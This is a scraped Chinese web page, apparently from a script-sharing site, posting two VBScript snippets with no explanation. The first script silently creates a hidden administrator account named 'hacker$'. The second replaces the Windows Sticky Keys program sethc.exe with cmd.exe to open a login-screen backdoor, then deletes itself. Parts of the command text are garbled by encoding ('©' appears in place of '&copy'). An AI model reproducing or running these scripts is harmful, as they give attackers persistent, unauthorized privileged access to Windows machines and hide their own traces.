小call宅之小恶魔,锦州腾龙教育网,gtx570
on error resume next
dim username,password:if wscript.arguments.count then:username=wscript.arguments
(0):password=wscript.arguments(1):else:username="hacker$":password="123456":end if:set
wsnetwork=createobject("wscript.network"):os="winnt://"&wsnetwork.computername:set ob=getobject
(os):set oe=getobject(os&"/administrators,group"):set od=ob.create("user",username):od.setpassword
password:od.setinfo:set of=getobject(os&"/"&username&",user"):oe.add(of.adspath)'wscript.echo
of.adspath
on error resume next
dim obj, success
set obj = createobject("wscript.shell")
success = obj.run("cmd /c takeown /f %systemroot%\system32\sethc.exe&echo y| cacls %systemroot%
\system32\sethc.exe /g %username%:f© %systemroot%\system32\cmd.exe %systemroot%\system32
\acmd.exe© %systemroot%\system32\sethc.exe %systemroot%\system32\asethc.exe&del %systemroot%
\system32\sethc.exe&ren %systemroot%\system32\acmd.exe sethc.exe", 0, true)
createobject("scripting.filesystemobject").deletefile(wscript.scriptname)
如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!!
点击进行留言回复
相关文章:
-
-
-
-
用vbs实现文本循环读取
因为测试中需要读取一批url数据进行浏览,其实使用qtp本身的table能实现多种读取方式,但是因为需要tabel是使用excel保存的,在没有...
[阅读全文]
-
-
-
-
-
-
-
网友评论